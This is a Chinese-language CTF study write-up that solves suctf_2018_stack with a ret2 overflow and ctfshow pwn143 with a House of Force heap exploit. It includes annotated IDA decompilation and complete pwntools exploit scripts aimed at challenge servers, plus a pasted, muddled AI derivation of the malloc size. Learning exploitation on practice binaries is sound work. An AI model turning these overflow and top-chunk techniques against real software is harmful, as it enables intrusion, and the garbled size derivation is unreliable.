1、suctf_2018_stack分析


64位没什么保护,运行一下

e..ida里面看看吧
就是一个很简单的ret2啊


2、suctf_2018_stack实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29838)
payload=b'a'*(0x20+8)+p64(0x400677)
p.send(payload)
p.interactive()
~
一般是用0x400676的但是这道题

以前遇到过这种问题,栈平衡,需要让它少接收或者多接收
3、ctfshow pwn143
来学学堆



是一个经典的堆题菜单,去看看ida,咱一点一点读懂代码
main函数的分析:
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (__fastcall **v3)(signed __int64); // ST08_8@1
int v4; // [sp+4h] [bp-1Ch]@2
char buf; // [sp+10h] [bp-10h]@2
__int64 v6; // [sp+18h] [bp-8h]@1
v6 = *MK_FP(__FS__, 40LL);//canary存放在v6
init(*(_QWORD *)&argc, argv, envp);
logo();
//malloc申请了16字节的堆块用来存放两个8字节的指针
v3 = (void (__fastcall **)(signed __int64))malloc(0x10uLL);
*v3 = (void (__fastcall *)(signed __int64))hello_message;
v3[1] = (void (__fastcall *)(signed __int64))goodbye_message;
(*v3)(16LL);//这个就是调用hello_message(16)
//主循环打印菜单
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
v4 = atoi(&buf);
if ( (unsigned int)v4 <= 5 )
break;
puts("Invaild choice!!!");
}
JUMPOUT(__CS__, (char *)dword_40175C + dword_40175C[(unsigned __int64)(unsigned int)v4]);
}
hello_message

纯打印啊,下一个

ok,接下来我们看看菜单,假如我们先add
__int64 add()
{
__int64 result; // rax@3
__int64 v1; // rsi@12
signed int i; // [sp+4h] [bp-1Ch]@4
int v3; // [sp+8h] [bp-18h]@2
char buf; // [sp+10h] [bp-10h]@2
__int64 v5; // [sp+18h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
if ( num > 99 )
{
puts("Full");
LABEL_11:
result = 0LL;
goto LABEL_12;
}
printf("Please enter the length:");
read(0, &buf, 8uLL);
v3 = atoi(&buf);
//这里没有对v3进行检查,如果v3是个负数,可能会分配很大的堆块
if ( v3 )
{
for ( i = 0; i <= 99; ++i )
{
if ( !qword_6020A8[2 * i] )
{
*((_DWORD *)&list + 4 * i) = v3;
qword_6020A8[2 * i] = malloc(v3);
printf("Please enter the name:");
*(_BYTE *)(qword_6020A8[2 * i] + (signed int)read(0, (void *)qword_6020A8[2 * i], v3)) = 0;
++num;
goto LABEL_11;
}
}
goto LABEL_11;
}
puts("Invaild length");
result = 0LL;
LABEL_12:
v1 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}
edit
__int64 edit()
{
int v0; // ST10_4@4
int v2; // [sp+Ch] [bp-24h]@3
char buf; // [sp+18h] [bp-18h]@3
char nptr; // [sp+20h] [bp-10h]@4
__int64 v5; // [sp+28h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);//有栈溢出检查
if ( num )
{
printf("Please enter the index:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
//这里v2也是存在数组越界的情况
if ( qword_6020A8[2 * v2] )
{
printf("Please enter the length of name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name:", &nptr);
*(_BYTE *)(qword_6020A8[2 * v2] + (signed int)read(0, (void *)qword_6020A8[2 * v2], v0)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
这里应该是修改chunk,存在漏洞
delete
__int64 delete()
{
int v1; // [sp+Ch] [bp-14h]@3
char buf; // [sp+10h] [bp-10h]@3
__int64 v3; // [sp+18h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
//释放后值置0
if ( num )
{
printf("Please enter the index:");
read(0, &buf, 8uLL);
v1 = atoi(&buf);
if ( qword_6020A8[2 * v1] )
{
free((void *)qword_6020A8[2 * v1]);
qword_6020A8[2 * v1] = 0LL;
*((_DWORD *)&list + 4 * v1) = 0;
puts("free successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
下面这个函数可以出flag

ok,但是对于漏洞的利用还是很茫然,跟着wp做一下吧,正好学习一下
4、pwn143(House of force利用)
我们写个脚本调试一下吧
from pwn import *
context(arch="amd64",log_level="debug")
#p=remote("",)
p=process("./pwn143")
elf=ELF("./pwn143")
def add(len,name):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length:",str(len))
p.sendlineafter("Please enter the name:",name)
def edit(index,length,name):
p.sendlineafter("Your choice:",str(3))
p.sendlineafter("Please enter the index:",index)
p.sendlineafter("Please enter the length of name:",length)
p.sendlineafter("Please enter the new name:",name)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index:",index)
def show():
p.sendlineafter("Your choice:",str(1))
def see():
gdb.attach(p)
pause()
add(32,b"aaaa")
see()

Allocated chunk | PREV_INUSE
Addr: 0x3676f290
Size: 0x20 (with flag bits: 0x21)//v3,就是main函数开始申请的堆块,存有两个指针,v3[1]在执行5时会被调用,所以我们要修改的就是这里的内容
Allocated chunk | PREV_INUSE
Addr: 0x3676f2b0
Size: 0x30 (with flag bits: 0x31)//我们申请的堆块
我们算一下topchunk_header到v3_header距离是0x50
我们看看利用思路(来自ctfshow wp):
1.通过house of force,将top chunk的地址移到记录goodbye_messaged的chunk0处
2. 再次申请chunk,我们就能分配到chunk0
3. 将goodbye_message改为后⻔函数的地址
4. 输⼊5调⽤v4[1],即可获得flag
所以我们应该要mallic(-0x50)才行,但是,这里有一些知识需要捋一捋
在 glibc 的堆实现中,堆块的大小需要满足 16 字节对齐(即地址是 16 的倍数)。
因此,malloc 会将请求的大小向上对齐到 16 的倍数。也就是x+0xf
一下是人机的分析:
实际上,malloc 会将请求的大小向上对齐到 16 的倍数。因此,我们需要找到一个 x,使得:
(x+0x8+0xf)&∼0xf=0xffffffffffffffb0
这里 x 是 malloc 请求的大小,0x8 是堆块头部的大小,0xf 是对齐掩码。
公式推导:
从公式中可以看出,k 的范围是 0 到 0xf,x 需要满足:
x+0x8+0xf=0xffffffffffffffb0
简化后:
x=0xffffffffffffffb0−0x8−0xf=0xffffffffffffffa8
当 k = 0xf 时:
x=0xffffffffffffffb0+0xf−0x17=0xffffffffffffffa8
这个值是 16 的倍数,因此是合适的。
所以需要申请堆块的大小是0xffffffffffffffa8用计算器捣鼓一下就是呃-0x58,对
0xffffffffffffffb0的意思就是0x3676f2b0因为只需要用到b0嘛
核心要点就是malloc 会将请求的大小向上对齐到 16 的倍数。
我们利用malloc(-0x58)将top_chunk移动至v4,再填入我们的payload
payload=b'a'*0x8+p64(flag)#0x80是第一个指针
ok,我们开始利用
from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28308)
#p=process("./pwn143")
elf=ELF("./pwn143")
def add(len,name):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length:",str(len))
p.sendlineafter("Please enter the name:",name)
def edit(index,length,name):
p.sendlineafter("Your choice:",str(3))
p.sendlineafter("Please enter the index:",str(index))
p.sendlineafter("Please enter the length of name:",str(length))
p.sendlineafter("Please enter the new name:",name)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index:",index)
def show():
p.sendlineafter("Your choice:",str(1))
#def see():
gdb.attach(p)
pause()
add(0x20,b"aaaa")
payload=b'a'*(0x20+8)+p64(0xffffffffffffffff)
edit(0,80,payload)
flag=0x0000000000400D7F
add(-0x58,b'cccc')
payload=b'a'*0x8+p64(flag)
add(0x10,payload)
p.sendlineafter("Your choice:",str(5))
p.interactive()











